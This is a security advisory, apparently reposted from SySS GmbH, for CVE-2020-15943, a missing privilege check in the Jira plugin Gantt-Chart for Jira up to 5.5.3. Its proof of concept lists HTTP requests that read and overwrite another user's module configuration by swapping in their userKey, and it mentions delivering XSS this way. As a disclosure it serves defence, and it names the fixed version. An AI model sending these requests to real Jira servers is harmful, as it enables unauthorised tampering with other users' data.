Gantt-Chart For Jira 5.5.3 Missing Privilege Check Vulnerability

Product: Jira module "Gantt-Chart for Jira"
Manufacturer: Frank Polscheit - Solutions & IT-Consulting
Affected Version(s): <=5.5.3
Tested Version(s): 5.5.3
Vulnerability Type: Improper Privilege Management (CWE-269)
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2020-07-23
Solution Date: 2020-07-30
Public Disclosure: 2020-08-03
CVE Reference: CVE-2020-15943
Author of Advisory: Sebastian Auwaerter, SySS GmbH
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
Overview:
 
Gantt-Chart for Jira is a Jira module for displaying Gantt charts.
 
The manufacturer describes the product as follows (see [1]):
 
"High performance Gantt-Chart capable to display multi-projects with
10.000+ issues aggregating them as top-level big picture"
 
Due to a missing privilege check, it is possible to read and write
the module configuration of other users. This can also be used to
deliver a cross-site scripting payload to other user dashboards,
as described in security advisory SYSS-2020-030 (see [4]).
 
To exploit this vulnerability, an attacker has to be authenticated.
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
Vulnerability Details:
 
The API endpoints for reading and updating the configuration of the
Jira module require the user ID of a user via the variable
userKey. Due to a missing privilege check, the user ID of another user
can be sent instead of the own user ID to read and update a victim's
module configuration.
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
Proof of Concept (PoC):
 
### Getting a username of a victim:
 
The username of a victim can be seen by browsing their profile.
 
 
### Getting the chart IDs of the victim
 
The chart IDs of another user can be enumerated with the following
request:
 
- ----
GET /rest/gantt/1.0/user/properties?userKey=<victim_user_name>&_=<unix
timestamp (`date +%s`)> HTTP/1.1
Host: <victim_host>
[...]
 
The response should look something like:
 
HTTP/1.1 200
[...]
 
{"keys":"[{\"key\":\"gantt-A\"},{\"key\":\"gantt-B\"}]"}
- ----
 
The <chart_id> in the following requests should therefore be gantt-A or
gantt-B.
 
 
### Getting the current configuration of the module for that user
 
The configuration for those charts can be read with the following
request:
 
- -----
GET
/rest/gantt/1.0/user/properties/<chart_id>?userKey=<victim_user_name>&_=<unix
timestamp (`date +%s`)> HTTP/1.1
Host: <victim_host>
 
The response should look something like:
 
HTTP/1.1 200
[...]
 
<configuration as JSON>
- ----
 
### Pushing a new configuration for the victim
 
The victim's configuration can then be updated by the attacker using
the following request. The configuration, especially the filter section,
can be prepared beforehand:
 
PUT
/jira/rest/gantt/1.0/user/properties/<chart_id>?userKey=<victim_user_name>
HTTP/1.1
Host: <victim_host>
[...]
< (edited) configuration as JSON>
 
The server will update the victim's configuration which can then be
verified by downloading the victim's configuration again with the
second GET request mentioned in this advisory.
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
Solution:
 
Update to software version 5.5.4.
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
#  0day.today [2020-08-12]  #